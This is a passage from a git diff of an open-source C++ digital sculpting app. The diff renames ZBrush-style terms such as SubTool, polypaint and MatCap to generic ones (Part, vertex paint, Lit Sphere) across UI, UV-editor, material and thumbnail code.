"Copy the texture into the vertex paint of every vertex (detail finer than the mesh is lost).",
- "polypaint_from_texture");
+ "vertexpaint_from_texture");
add("texture.export", "Export Texture...", kPath,
[this] { SDL_ShowSaveFileDialog(onTextureFile, &g_dialogs[kExportTexture], window_, kPngFilter, 1, nullptr); },
nullptr, textured, "Save the texture (every visible layer composited) as a PNG image.", "texture_export");
@@ -191,7 +191,7 @@ void App::startAutoUv() {
job->cancel = std::make_shared<std::atomic<bool>>(false);
job->result = std::make_shared<AutoUvResult>();
job->error = std::make_shared<std::string>();
- job->subtool = doc_.activeSubtoolInfo().id;
+ job->part = doc_.activePartInfo().id;
job->triangles = doc_.mesh.triangleCount();
const int res = doc_.mesh.texture ? std::max(doc_.mesh.texture->width, doc_.mesh.texture->height)
: kSizes[std::clamp(textureSizeChoice_, 0, 3)];
@@ -230,11 +230,11 @@ void App::pollAutoUv() {
status_ = *job->error;
return;
}
- // The SubTool it unwrapped may be inactive now, or changed topology meanwhile.
+ // The Part it unwrapped may be inactive now, or changed topology meanwhile.
int index = -1;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].id == job->subtool) index = i;
- if (index < 0 || doc_.subtoolMesh(index).triangleCount() != job->triangles) {
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (doc_.parts[size_t(i)].id == job->part) index = i;
+ if (index < 0 || doc_.partMesh(index).triangleCount() != job->triangles) {
status_ = "Auto UV skipped: the mesh changed while it was being unwrapped";
return;
}
@@ -293,9 +293,9 @@ void App::drawTextureMapContents() {
ImGui::SameLine();
ui::Segmented(*this, {"draw.paint_vertex", "draw.paint_texture"});
}
- ui::ActionButton(*this, "texture.from_polypaint", ImVec2(half, 0));
+ ui::ActionButton(*this, "texture.from_vertexpaint", ImVec2(half, 0));
ImGui::SameLine();
- ui::ActionButton(*this, "texture.to_polypaint", ImVec2(-1, 0));
+ ui::ActionButton(*this, "texture.to_vertexpaint", ImVec2(-1, 0));
ui::ActionButton(*this, "texture.import", ImVec2(half, 0));
ImGui::SameLine();
ui::ActionButton(*this, "texture.export", ImVec2(-1, 0));
@@ -311,10 +311,10 @@ void App::drawTextureMapContents() {
const float side = ImGui::GetContentRegionAvail().x;
const ImVec2 p = ImGui::GetCursorScreenPos();
ImDrawList* dl = ImGui::GetWindowDrawList();
- const GLuint tex = hasTexture(m) ? renderer_.paintTexture(doc_.activeSubtoolInfo().id) : 0;
+ const GLuint tex = hasTexture(m) ? renderer_.paintTexture(doc_.activePartInfo().id) : 0;
if (tex) dl->AddImage(ImTextureID(uintptr_t(tex)), p, ImVec2(p.x + side, p.y + side), ImVec2(0, 1), ImVec2(1, 0));
else dl->AddRectFilled(p, ImVec2(p.x + side, p.y + side), IM_COL32(40, 40, 46, 255));
- const uint64_t key = (uint64_t(doc_.activeSubtoolInfo().id) << 40) ^ uint64_t(uintptr_t(m.uvs.data())) ^ m.uvs.size();
+ const uint64_t key = (uint64_t(doc_.activePartInfo().id) << 40) ^ uint64_t(uintptr_t(m.uvs.data())) ^ m.uvs.size();
if (key != uvLinesKey_) {
uvLines_ = uvLayoutLines(m);
uvLinesKey_ = key;
diff --git a/src/app/PanelTimeline.cpp b/src/app/PanelTimeline.cpp
index 220babf3..e7516d1f 100644
--- a/src/app/PanelTimeline.cpp
+++ b/src/app/PanelTimeline.cpp
@@ -325,7 +325,7 @@ void App::drawTimelineUi() {
Timeline::historyDocument = &doc_;
}
if (proof_) drawProofUi();
- // Keep a timeline on the active SubTool's history (each SubTool's travels with its undo stack).
+ // Keep a timeline on the active Part's history (each Part's travels with its undo stack).
Timeline* t = Timeline::of(doc_.undo);
if (!t && s.record) t = Timeline::attach(doc_).get();
if (!t) return;
@@ -383,9 +383,9 @@ void App::drawTimelineUi() {
const bool top = uiPrefs_.timelineTop;
// The open Library takes the canvas's top (or bottom) edge: the strip moves off it, so it never covers the
// Library's tabs and close button (#80, a 720p screen at 150%).
- if (lightbox_.open()) {
- const float lib = std::min(LightBox::height(layout_.lightboxRows, sc), c.h);
- if (!layout_.lightboxBottom) c.y += lib;
+ if (libraryBrowser_.open()) {
+ const float lib = std::min(LibraryBrowser::height(layout_.libraryRows, sc), c.h);
+ if (!layout_.libraryBottom) c.y += lib;
c.h -= lib;
}
timelineTopInset_ = 0.0f;
diff --git a/src/app/PanelUvEditor.cpp b/src/app/PanelUvEditor.cpp
index 7f2e08ce..7893dbdf 100644
--- a/src/app/PanelUvEditor.cpp
+++ b/src/app/PanelUvEditor.cpp
@@ -43,7 +43,7 @@ namespace {
constexpr const char* kPath = "UV Editor";
constexpr int kSizes[] = {1024, 2048, 4096, 8192};
constexpr const char* kSizeLabels[] = {"1K", "2K", "4K", "8K"};
-constexpr UvUnwrapMethod kMethods[] = {UvUnwrapMethod::Isometric, UvUnwrapMethod::Conformal, UvUnwrapMethod::Polygroups,
+constexpr UvUnwrapMethod kMethods[] = {UvUnwrapMethod::Isometric, UvUnwrapMethod::Conformal, UvUnwrapMethod::FaceGroups,
UvUnwrapMethod::Planar, UvUnwrapMethod::Unfold, UvUnwrapMethod::Auto};
constexpr const char* kColorLabels[] = {"Islands", "Stretch", "Density", "Plain"};
constexpr const char* kImageLabels[] = {"No Image", "Checker", "Texture"};
@@ -104,7 +104,7 @@ struct UvEditorState {
bool keepTexture = true; // paint stays on the model
int sizeChoice = 1; // texture size for density and margins without a texture
// Caches of the active mesh's UVs, rebuilt when they change.
- uint32_t subtool = ~0u;
+ uint32_t part = ~0u;
uint64_t revision = ~uint64_t(0);
const void* uvData = nullptr;
size_t uvCount = 0, flagCount = 0;
@@ -166,7 +166,7 @@ struct UvEditorState {
std::shared_ptr<std::atomic<bool>> cancel;
std::shared_ptr<UvUnwrapResult> result;
std::shared_ptr<std::string> error;
- uint32_t subtool = 0;
+ uint32_t part = 0;
size_t triangles = 0;
UvUnwrapMethod method = UvUnwrapMethod::Isometric;
bool keepTexture = true;
@@ -190,9 +190,9 @@ struct UvEditorUi {
void refresh() {
const Mesh& m = mesh();
- const uint32_t id = app.doc_.activeSubtoolInfo().id;
+ const uint32_t id = app.doc_.activePartInfo().id;
if (s.drag != UvEditorState::Drag::None) return; // (the drag keeps its own caches up to date)
- if (id != s.subtool || app.doc_.undo.revision() != s.revision || m.uvs.data() != s.uvData || m.uvs.size() != s.uvCount ||
+ if (id != s.part || app.doc_.undo.revision() != s.revision || m.uvs.data() != s.uvData || m.uvs.size() != s.uvCount ||
m.uvFlags.size() != s.flagCount)
s.dirty = true;
if (!s.dirty && !s.colorsDirty) return;
@@ -203,7 +203,7 @@ struct UvEditorUi {
void rebuildTopology() {
Mesh& m = mesh();
- s.subtool = app.doc_.activeSubtoolInfo().id;
+ s.part = app.doc_.activePartInfo().id;
s.revision = app.doc_.undo.revision();
s.uvData = m.uvs.data();
s.uvCount = m.uvs.size();
@@ -630,7 +630,7 @@ struct UvEditorUi {
job->cancel = std::make_shared<std::atomic<bool>>(false);
job->result = std::make_shared<UvUnwrapResult>();
job->error = std::make_shared<std::string>();
- job->subtool = app.doc_.activeSubtoolInfo().id;
+ job->part = app.doc_.activePartInfo().id;
job->triangles = m.triangleCount();
job->method = method;
job->keepTexture = s.keepTexture;
@@ -639,7 +639,7 @@ struct UvEditorUi {
copy->triangles = m.triangles;
copy->uvs = m.uvs;
copy->uvFlags = m.uvFlags;
- copy->polygroups = m.polygroups;
+ copy->facegroups = m.facegroups;
auto faces = std::make_shared<std::vector<uint8_t>>();
const UvSelection& sel = app.doc_.uvSelection;
if (sel.valid(m) && !sel.empty() && m.hasUvs()) {
@@ -689,9 +689,9 @@ struct UvEditorUi {
return;
}
int index = -1;
- for (int i = 0; i < app.doc_.subtoolCount(); ++i)
- if (app.doc_.subtools[size_t(i)].id == job->subtool) index = i;
- if (index < 0 || app.doc_.subtoolMesh(index).triangleCount() != job->triangles) {
+ for (int i = 0; i < app.doc_.partCount(); ++i)
+ if (app.doc_.parts[size_t(i)].id == job->part) index = i;
+ if (index < 0 || app.doc_.partMesh(index).triangleCount() != job->triangles) {
app.status_ = "Unwrap skipped: the mesh changed while it was being unwrapped";
return;
}
@@ -708,7 +708,7 @@ struct UvEditorUi {
const std::vector<uint32_t>& twins() {
const Mesh& m = mesh();
- const uint64_t key = (uint64_t(uintptr_t(m.triangles.data())) << 8) ^ m.triangles.size() ^ (uint64_t(app.doc_.activeSubtoolInfo().id) << 48);
+ const uint64_t key = (uint64_t(uintptr_t(m.triangles.data())) << 8) ^ m.triangles.size() ^ (uint64_t(app.doc_.activePartInfo().id) << 48);
if (key != s.twinKey || s.twin.size() != m.triangleCount() * 3) {
s.twin = cornerTwins(m);
s.twinKey = key;
@@ -842,7 +842,7 @@ void App::registerUvEditorActions() {
selected, "Mark the selected edges (or the border of the selected faces) as seams: Unwrap cuts there.", "uv_seam");
add("uv.seam_clear", "Clear Seam", nullptr, "", [runUv] { runUv("uv_seam", {{"op", std::string("clear")}}); }, nullptr,
selected, "Clear the seams on the selected edges (or the border of the selected faces).", "uv_seam");
- add("uv.seam_polygroups", "Face Groups", nullptr, "", [runUv] { runUv("uv_seam", {{"op", std::string("polygroups")}}); },
+ add("uv.seam_facegroups", "Face Groups", nullptr, "", [runUv] { runUv("uv_seam", {{"op", std::string("facegroups")}}); },
nullptr, nullptr, "Mark every face group border as a seam.", "uv_seam");
add("uv.seam_islands", "Island Borders", nullptr, "", [runUv] { runUv("uv_seam", {{"op", std::string("islands")}}); }, nullptr,
uvs, "Mark every current UV island border as a seam (keeps an imported layout's cuts for Unwrap).", "uv_seam");
@@ -938,9 +938,9 @@ void App::uvEditorChanged() {
if (uvEditor_) uvEditor_->dirty = true;
}
-const MeshOverlay* App::uvEditorOverlay(uint32_t subtool) {
- if (!showUvEditor_ || !uvEditor_ || subtool != doc_.activeSubtoolInfo().id) return nullptr;
- if (!uvEditor_->hasUvs || uvEditor_->subtool != subtool) return nullptr;
+const MeshOverlay* App::uvEditorOverlay(uint32_t part) {
+ if (!showUvEditor_ || !uvEditor_ || part != doc_.activePartInfo().id) return nullptr;
+ if (!uvEditor_->hasUvs || uvEditor_->part != part) return nullptr;
return &uvEditor_->overlay;
}
@@ -1110,7 +1110,7 @@ void App::drawUvEditor() {
v.min = s.center - half;
v.max = s.center + half;
v.imageMode = s.image;
- v.image = s.image == 2 && hasTexture(m) ? renderer_.paintTexture(doc_.activeSubtoolInfo().id) : 0;
+ v.image = s.image == 2 && hasTexture(m) ? renderer_.paintTexture(doc_.activePartInfo().id) : 0;
v.imageOpacity = s.image == 2 ? 1.0f : s.imageOpacity;
v.checkerScale = s.checkerScale;
v.tiles = s.tiles;
@@ -1245,7 +1245,7 @@ void App::drawUvEditor() {
"By Face Groups: also cuts along the face group borders. Planar: each piece projected flat. Unfold Islands: "
"the current islands flattened again where they are, keeping pins. Auto Seams: finds its own seams.",
kPath);
- if (kMethods[std::clamp(s.method, 0, 5)] == UvUnwrapMethod::Isometric || kMethods[s.method] == UvUnwrapMethod::Polygroups ||
+ if (kMethods[std::clamp(s.method, 0, 5)] == UvUnwrapMethod::Isometric || kMethods[s.method] == UvUnwrapMethod::FaceGroups ||
kMethods[s.method] == UvUnwrapMethod::Unfold) {
float it = float(s.iterations);
ImGui::SetNextItemWidth(w);
@@ -1269,7 +1269,7 @@ void App::drawUvEditor() {
ui::ActionButton(*this, "uv.seam_mark", ImVec2(halfW, 0));
ImGui::SameLine();
ui::ActionButton(*this, "uv.seam_clear", ImVec2(-1, 0));
- ui::ActionButton(*this, "uv.seam_polygroups", ImVec2(halfW, 0));
+ ui::ActionButton(*this, "uv.seam_facegroups", ImVec2(halfW, 0));
ImGui::SameLine();
ui::ActionButton(*this, "uv.seam_islands", ImVec2(-1, 0));
ImGui::SetNextItemWidth(halfW);
@@ -1500,7 +1500,7 @@ void App::uvToolRelease() {
}
void App::drawUvEditorOverlay() {
- if (!showUvEditor_ || !uvEditor_ || !doc_.activeSubtoolInfo().visible) return;
+ if (!showUvEditor_ || !uvEditor_ || !doc_.activePartInfo().visible) return;
UvEditorState& s = *uvEditor_;
const Mesh& m = doc_.mesh;
const size_t nc = m.triangleCount() * 3;
@@ -1569,7 +1569,7 @@ double App::uvEditorTestValue(const std::string& name) {
if (name == "uv_frame_ms") return uvEditor_ ? uvEditor_->frameMs : 0.0;
if (name == "uv_tool") return uvEditor_ ? double(uvEditor_->tool) : 0.0;
if (name == "uv_view_triangles") return uvEditor_ ? double(uvEditor_->gpu.triangles()) : 0.0;
- if (name == "uv_overlay") return uvEditorOverlay(doc_.activeSubtoolInfo().id) && !uvEditor_->overlay.colors.empty() ? 1.0 : 0.0;
+ if (name == "uv_overlay") return uvEditorOverlay(doc_.activePartInfo().id) && !uvEditor_->overlay.colors.empty() ? 1.0 : 0.0;
if (name == "uv_pins") {
double n = 0;
for (uint8_t f : m.uvFlags) n += (f & kUvPin) != 0;
diff --git a/src/app/PanelVdm.cpp b/src/app/PanelVdm.cpp
index 3bf02649..d461bd48 100644
--- a/src/app/PanelVdm.cpp
+++ b/src/app/PanelVdm.cpp
@@ -3,7 +3,7 @@
//
// Vector displacement brushes (core/Vdm.h) in the app: Brush > Vector Displacement (the maps, loading EXRs,
// the VDM plane and Create VDM, Export EXR), their F3 actions, the DragDot stroke, and the DragRect stroke the
-// VDM brush brings along while it is the brush (ZBrush's VDM brushes come set to DragRect).
+// VDM brush brings along while it is the brush (VDM brushes come set to DragRect).
#include "app/App.h"
#include "app/Ui.h"
diff --git a/src/app/PanelPolypaint.cpp b/src/app/PanelVertexPaint.cpp
similarity index 87%
rename from src/app/PanelPolypaint.cpp
rename to src/app/PanelVertexPaint.cpp
index 728f91cd..802fd8a4 100644
--- a/src/app/PanelPolypaint.cpp
+++ b/src/app/PanelVertexPaint.cpp
@@ -1,15 +1,15 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Polypaint & Materials panel: the Paint brush (ZBrush Rgb / Zadd), colour
-// picker and swatches, fills, and the viewport MatCap material picker.
+// Vertex paint & Materials panel: the Paint brush (Rgb / Raise), colour
+// picker and swatches, fills, and the viewport Lit Sphere material picker.
#include "app/App.h"
#include "app/AssetLibrary.h"
#include "app/Ui.h"
#include "app/I18n.h"
-#include "core/Matcap.h"
-#include "core/Polypaint.h"
+#include "core/LitSphere.h"
+#include "core/VertexPaint.h"
#include "core/Trash.h"
#include <glm/gtc/type_ptr.hpp>
@@ -24,11 +24,11 @@ namespace sf {
namespace {
-// Every material name set_material takes (custom MatCaps included, so it is built when needed).
+// Every material name set_material takes (custom Lit Spheres included, so it is built when needed).
std::string materialNames() {
std::string names;
- for (int i = 0; i < matcapCount(); ++i)
- if (isMatcapListed(i)) names += std::string(matcapName(i)) + ", ";
+ for (int i = 0; i < litsphereCount(); ++i)
+ if (isLitSphereListed(i)) names += std::string(litsphereName(i)) + ", ";
return names + "studio";
}
@@ -40,18 +40,18 @@ std::string u8string(const std::filesystem::path& p) {
} // namespace
-std::string App::matcapFolder() const { return library_.user.empty() ? std::string() : library_.user + "/" + libraryTabFolder(LibraryTab::Material); }
+std::string App::litsphereFolder() const { return library_.user.empty() ? std::string() : library_.user + "/" + libraryTabFolder(LibraryTab::Material); }
-// Custom MatCaps (#15): the studio folders (SCULPTFORGE_MATCAP_PATH), then the library's MatCaps folder.
-void App::loadMatcapLibrary() {
- for (const std::string& m : loadMatcapFolders(studioMatcapDirs())) SDL_Log("Lit Spheres: %s", m.c_str());
- rescanMatcapFolder();
+// Custom Lit Spheres (#15): the studio folders (SCULPTFORGE_LITSPHERE_PATH), then the library's Lit Spheres folder.
+void App::loadLitSphereLibrary() {
+ for (const std::string& m : loadLitSphereFolders(studioLitSphereDirs())) SDL_Log("Lit Spheres: %s", m.c_str());
+ rescanLitSphereFolder();
}
-// The MatCaps folder as it is now: images that are new or changed (size or time) load, images that are gone leave the
+// The Lit Spheres folder as it is now: images that are new or changed (size or time) load, images that are gone leave the
// lists (unless the view uses one). Only lists the folder, so it is cheap to call whenever a material list opens.
-void App::rescanMatcapFolder() {
- const std::string dir = matcapFolder();
+void App::rescanLitSphereFolder() {
+ const std::string dir = litsphereFolder();
if (dir.empty()) return;
namespace fs = std::filesystem;
std::map<std::string, std::pair<uintmax_t, int64_t>> now;
@@ -59,30 +59,30 @@ void App::rescanMatcapFolder() {
for (fs::directory_iterator it(u8path(dir), ec), end; !ec && it != end; it.increment(ec)) {
std::error_code fileEc;
const std::string path = u8string(it->path());
- if (!isMatcapFile(path) || !it->is_regular_file(fileEc)) continue;
+ if (!isLitSphereFile(path) || !it->is_regular_file(fileEc)) continue;
const auto size = it->file_size(fileEc);
const auto time = it->last_write_time(fileEc).time_since_epoch().count();
now[path] = {size, int64_t(time)};
}
for (const auto& [path, stamp] : now) {
- if (hiddenMatcapFiles_.count(path)) continue;
- const auto seen = matcapFolderSeen_.find(path);
- if (seen != matcapFolderSeen_.end() && seen->second == stamp) continue;
- CustomMatcap m;
+ if (hiddenLitSphereFiles_.count(path)) continue;
+ const auto seen = litsphereFolderSeen_.find(path);
+ if (seen != litsphereFolderSeen_.end() && seen->second == stamp) continue;
+ CustomLitSphere m;
std::string err;
- if (readMatcapImage(path, m, err)) addCustomMatcap(std::move(m));
+ if (readLitSphereImage(path, m, err)) addCustomLitSphere(std::move(m));
else SDL_Log("Lit Spheres: skipped %s", err.c_str());
}
- for (const auto& [path, stamp] : matcapFolderSeen_)
+ for (const auto& [path, stamp] : litsphereFolderSeen_)
if (!now.count(path))
- if (const int i = findMatcapByPath(path); i >= 0 && i != renderSettings_.matcap) removeCustomMatcap(i);
- matcapFolderSeen_ = std::move(now);
+ if (const int i = findLitSphereByPath(path); i >= 0 && i != renderSettings_.litsphere) removeCustomLitSphere(i);
+ litsphereFolderSeen_ = std::move(now);
}
-// Material lists (palette, picker, LightBox) call this every frame they show: the first frame after a gap rescans.
+// Material lists (palette, picker, Library) call this every frame they show: the first frame after a gap rescans.
void App::materialListShown() {
const int frame = ImGui::GetFrameCount();
- if (frame > materialListFrame_ + 1) rescanMatcapFolder();
+ if (frame > materialListFrame_ + 1) rescanLitSphereFolder();
materialListFrame_ = frame;
}
@@ -97,15 +97,15 @@ void App::registerPaintUiCommands() {
[this](Document&, const Args& a) -> CommandResult {
const std::string name = argString(a, "name");
if (name == "studio" || name == "Studio") {
- renderSettings_.matcap = -1;
+ renderSettings_.litsphere = -1;
return {true, "Material: Studio"};
}
- const int index = findMatcap(name);
+ const int index = findLitSphere(name);
if (index < 0) return {false, "Unknown material '" + name + "' (" + materialNames() + ")"};
- renderSettings_.matcap = index;
- return {true, std::string("Material: ") + matcapName(index)};
+ renderSettings_.litsphere = index;
+ return {true, std::string("Material: ") + litsphereName(index)};
}});
- commands_.add({"load_matcap",
+ commands_.add({"load_litsphere",
"Load a Lit Sphere: a lit-sphere image (PNG, JPG or EXR; a non-square image is cropped to its centre) "
"becomes a viewport material named after the file, and the view uses it. It is copied into the "
"library's Lit Spheres folder (Documents/SculptForge/Lit Spheres), so it is there next time; projects "
@@ -113,13 +113,13 @@ void App::registerPaintUiCommands() {
{{"path", ParamSpec::Type::String, "The image file.", true},
{"keep", ParamSpec::Type::Bool, "Copy it into the library's Lit Spheres folder (default true).", false}},
[this](Document&, const Args& a) -> CommandResult {
- CustomMatcap m;
+ CustomLitSphere m;
std::string err;
- if (!readMatcapImage(argString(a, "path"), m, err)) return {false, err};
+ if (!readLitSphereImage(argString(a, "path"), m, err)) return {false, err};
std::string kept;
- if (argBool(a, "keep", true) && !matcapFolder().empty()) {
+ if (argBool(a, "keep", true) && !litsphereFolder().empty()) {
namespace fs = std::filesystem;
- const fs::path from = u8path(m.path), to = u8path(matcapFolder()) / from.filename();
+ const fs::path from = u8path(m.path), to = u8path(litsphereFolder()) / from.filename();
std::error_code ec;
fs::create_directories(to.parent_path(), ec);
if (!fs::equivalent(from, to, ec)) {
@@ -134,36 +134,36 @@ void App::registerPaintUiCommands() {
kept = " (kept in the Lit Spheres folder)";
}
}
- hiddenMatcapFiles_.erase(m.path);
- const int index = addCustomMatcap(std::move(m));
- renderSettings_.matcap = index;
- return {true, std::string("Material: ") + matcapName(index) + kept};
+ hiddenLitSphereFiles_.erase(m.path);
+ const int index = addCustomLitSphere(std::move(m));
+ renderSettings_.litsphere = index;
+ return {true, std::string("Material: ") + litsphereName(index) + kept};
}});
- commands_.add({"remove_matcap",
+ commands_.add({"remove_litsphere",
"Remove one of your Lit Spheres from the material lists. One from the library's Lit Spheres folder goes to "
"the trash (the Recycle Bin on Windows); where that isn't possible (macOS for now) it is hidden "
"for this session and its file stays put. Built-in Lit Spheres can't be removed.",
{{"name", ParamSpec::Type::String, "The Lit Sphere's name.", true}},
[this](Document&, const Args& a) -> CommandResult {
const std::string name = argString(a, "name");
- const int index = findMatcap(name);
+ const int index = findLitSphere(name);
if (index < 0) return {false, "No Lit Sphere called '" + name + "'"};
- if (!isCustomMatcap(index)) return {false, std::string(matcapName(index)) + " is built in"};
- const std::string shown = matcapName(index), path = customMatcap(index)->path;
+ if (!isCustomLitSphere(index)) return {false, std::string(litsphereName(index)) + " is built in"};
+ const std::string shown = litsphereName(index), path = customLitSphere(index)->path;
namespace fs = std::filesystem;
std::error_code ec;
- const bool inFolder = !path.empty() && !matcapFolder().empty() &&
- fs::equivalent(u8path(path).parent_path(), u8path(matcapFolder()), ec);
- if (renderSettings_.matcap == index) renderSettings_.matcap = defaultMatcap();
- removeCustomMatcap(index);
+ const bool inFolder = !path.empty() && !litsphereFolder().empty() &&
+ fs::equivalent(u8path(path).parent_path(), u8path(litsphereFolder()), ec);
+ if (renderSettings_.litsphere == index) renderSettings_.litsphere = defaultLitSphere();
+ removeCustomLitSphere(index);
if (!inFolder)
return {true, "Removed " + shown + (path.empty() ? "" : " (its image stays at " + path + ")")};
std::string where, err;
if (moveToTrash(path, where, err)) {
- matcapFolderSeen_.erase(path);
+ litsphereFolderSeen_.erase(path);
return {true, "Removed " + shown + ": " + u8string(u8path(path).filename()) + " is in " + where};
}
- hiddenMatcapFiles_.insert(path); // a rescan must not bring it back
+ hiddenLitSphereFiles_.insert(path); // a rescan must not bring it back
return {true, "Removed " + shown + " for this session; delete " + path +
" to remove it for good (" + err + ")"};
}});
@@ -188,7 +188,7 @@ void App::registerPaintUiCommands() {
if (a.contains("mode")) {
const std::string m = argString(a, "mode");
if (m == "pbr") v.shading = RenderSettings::Shading::Pbr;
- else if (m == "lit_sphere" || m == "litsphere" || m == "lit" || m == "matcap")
+ else if (m == "lit_sphere" || m == "litsphere" || m == "lit")
v.shading = RenderSettings::Shading::LitSphere;
else return {false, "mode must be lit_sphere or pbr"};
}
@@ -241,9 +241,9 @@ void App::registerPaintUiCommands() {
return {true, mode == "gradient" ? std::string("Background: Gradient")
: "Background: Flat Colour " + colorToHex(srgbToLinear(color))};
}});
- // The scene's shading; SubTools can override it (subtool_shading). Also the preference for new sessions.
+ // The scene's shading; Parts can override it (part_shading). Also the preference for new sessions.
commands_.add({"set_shading",
- "Viewport shading for every Part that doesn't set its own (subtool_shading): smooth (the " // marks-pending
+ "Viewport shading for every Part that doesn't set its own (part_shading): smooth (the "
"default) or flat, where each polygon shows its own face, so the mesh's structure reads.",
{{"mode", ParamSpec::Type::String, "smooth or flat.", true}},
[this](Document&, const Args& a) -> CommandResult {
@@ -284,7 +284,7 @@ const BrushRecipe* App::strokeRecipe() const {
void App::paintAt(const DabParams& dab) {
DabParams p = dab;
- p.strength = rgbIntensity_ * dabStrengthScale_; // paint has its own strength (ZBrush RGB Intensity)
+ p.strength = rgbIntensity_ * dabStrengthScale_; // paint has its own strength (RGB Intensity)
if (texturePainter_.active()) { // the brush material: colour plus the material channels it paints
BrushMaterial m = doc_.paintMaterial;
m.color = doc_.paintColor;
@@ -355,7 +355,7 @@ void App::pickColorUnderCursor() {
status_ = "Paint colour " + colorToHex(doc_.paintColor);
}
-// Color palette: the Paint brush (ZBrush Rgb / Zadd), the colour, swatches and fills.
+// Color palette: the Paint brush (Rgb / Raise), the colour, swatches and fills.
void App::drawPalette_Color() {
ImGui::SeparatorText(tr("Paint"));
const bool painting = paintMode_;
@@ -393,7 +393,7 @@ void App::drawPalette_Color() {
const Mesh& m = doc_.mesh;
const bool layered = !m.paintLayers.empty() && m.activePaintLayer >= 0 && m.activePaintLayer < int(m.paintLayers.size());
if (hasTexture(m)) {
- // Where paint goes, when the SubTool has a texture (Tool > Texture Map).
+ // Where paint goes, when the Part has a texture (Tool > Texture Map).
ImGui::AlignTextToFramePadding();
ImGui::TextDisabled("%s", tr("Paint into"));
ImGui::SameLine();
@@ -429,7 +429,7 @@ void App::drawPalette_Color() {
if (ImGui::Button(tr("Clear"), ImVec2(half, 0))) runCommand("paint_clear");
ImGui::EndDisabled();
ui::HelpText("Clear", nullptr, "Remove all vertex paint from the Part, paint layers included (undoable).", "Color");
- ImGui::Checkbox(tr("Show vertex paint"), &renderSettings_.showPolypaint);
+ ImGui::Checkbox(tr("Show vertex paint"), &renderSettings_.showVertexPaint);
ImGui::Checkbox(tr("Colour tints the material"), &renderSettings_.colorTintsMaterial);
ui::HelpText("Colour tints the material", nullptr,
"On a Part with no vertex paint, the colour above tints its Lit Sphere material, so you can try a "
@@ -444,10 +444,10 @@ void App::drawPalette_Color() {
}
// Material palette: the material grid, the studio material's colour and the shading (the scene's and the active
-// SubTool's own).
+// Part's own).
void App::drawPalette_Material() {
sf::drawMaterialGrid(*this, GridMode::Palette); // Pickers.cpp, as in the material picker (M)
- if (ImGui::Button(tr("Load Lit Sphere..."), ImVec2(-1, 0))) loadMatcapDialog();
+ if (ImGui::Button(tr("Load Lit Sphere..."), ImVec2(-1, 0))) loadLitSphereDialog();
ui::HelpText("Load Lit Sphere", nullptr,
"Use a Lit Sphere image of your own: a lit sphere filling a square PNG, JPG or EXR. It joins the list "
"and is kept in Documents/SculptForge/Lit Spheres; images you put in that folder show up when a material list "
@@ -526,7 +526,7 @@ void App::drawShadingControls() {
ImGui::TextDisabled("%s", tr("Shading"));
ui::Segmented(*this, {"material.smooth", "material.flat"});
ImGui::TextDisabled("%s", tr("This Part"));
- ui::Segmented(*this, {"subtool.shading_default", "subtool.shading_smooth", "subtool.shading_flat"});
+ ui::Segmented(*this, {"part.shading_default", "part.shading_smooth", "part.shading_flat"});
}
} // namespace sf
diff --git a/src/app/SubtoolThumbnails.h b/src/app/PartThumbnails.h
similarity index 78%
rename from src/app/SubtoolThumbnails.h
rename to src/app/PartThumbnails.h
index 2785655b..c334ee29 100644
--- a/src/app/SubtoolThumbnails.h
+++ b/src/app/PartThumbnails.h
@@ -1,9 +1,9 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// When the SubTool panel's thumbnails (#43) are rendered: one SubTool at a time, a new one at once, a changed one
+// When the Part panel's thumbnails (#43) are rendered: one Part at a time, a new one at once, a changed one
// once it has settled (not every frame of a stroke), nothing while the app is busy with the mesh. The render itself
-// draws the SubTool's existing GPU buffers (Renderer::renderSubtoolThumbnail); this is only the bookkeeping, pure so
+// draws the Part's existing GPU buffers (Renderer::renderPartThumbnail); this is only the bookkeeping, pure so
// it can be unit tested.
#pragma once
@@ -13,11 +13,11 @@
namespace sf {
-class SubtoolThumbnailSchedule {
+class PartThumbnailSchedule {
public:
static constexpr double kSettleSeconds = 0.5; // a change waits this long without another before its render
- // SubTool `id` looks like `key` now (anything that changes when it does: its undo revision, size, visibility).
+ // Part `id` looks like `key` now (anything that changes when it does: its undo revision, size, visibility).
void observe(uint32_t id, uint64_t key, double now) {
Item& it = items_[id];
if (it.seen != key || !it.observed) {
@@ -26,7 +26,7 @@ public:
it.observed = true;
}
}
- // The SubTool to render now, if any: one never rendered first, else the change that settled longest ago; none
+ // The Part to render now, if any: one never rendered first, else the change that settled longest ago; none
// while `busy` (a stroke or a background job owns the mesh). `wakeAt` gets when the next one is due (0: none
// waiting), so a loop that sleeps when idle can come back for it.
bool due(double now, bool busy, uint32_t& id, double& wakeAt) const {
@@ -51,14 +51,14 @@ public:
}
return found;
}
- // SubTool `id` was rendered as it was last observed (or couldn't be: it is tried again when it changes).
+ // Part `id` was rendered as it was last observed (or couldn't be: it is tried again when it changes).
void rendered(uint32_t id) {
auto found = items_.find(id);
if (found == items_.end()) return;
found->second.shown = found->second.seen;
found->second.rendered = true;
}
- // Forgets the SubTools not in `ids` (deleted, or a new scene); returns them, so their textures can go.
+ // Forgets the Parts not in `ids` (deleted, or a new scene); returns them, so their textures can go.
std::vector<uint32_t> keepOnly(const std::vector<uint32_t>& ids) {
std::vector<uint32_t> gone;
for (auto it = items_.begin(); it != items_.end();) {
diff --git a/src/app/Pickers.cpp b/src/app/Pickers.cpp
index fc6f16fb..ad5a85d8 100644
--- a/src/app/Pickers.cpp
+++ b/src/app/Pickers.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Pop-up pickers (ZBrush's brush, stroke, alpha and material pop-ups), the
+// Pop-up pickers (brush, stroke, alpha and material pop-ups), the
// Draw Size / Strength sliders at the cursor, and the thumbnail tile.
#include "app/Theme.h"
#include "app/Pickers.h"
@@ -10,7 +10,7 @@
#include "app/AssetLibrary.h"
#include "app/Ui.h"
#include "core/BrushLibrary.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include <IconsLucide.h>
@@ -90,12 +90,12 @@ struct State {
int openedFrame = -1, closedFrame = -1;
int keysFrom = 0; // frame from which typed keys count (not the key that opened it)
bool addToShelf = false;
- // Opened with Ctrl (mask brushes) or Ctrl+Shift (selection brushes) held, as in ZBrush: App::HeldBrush.
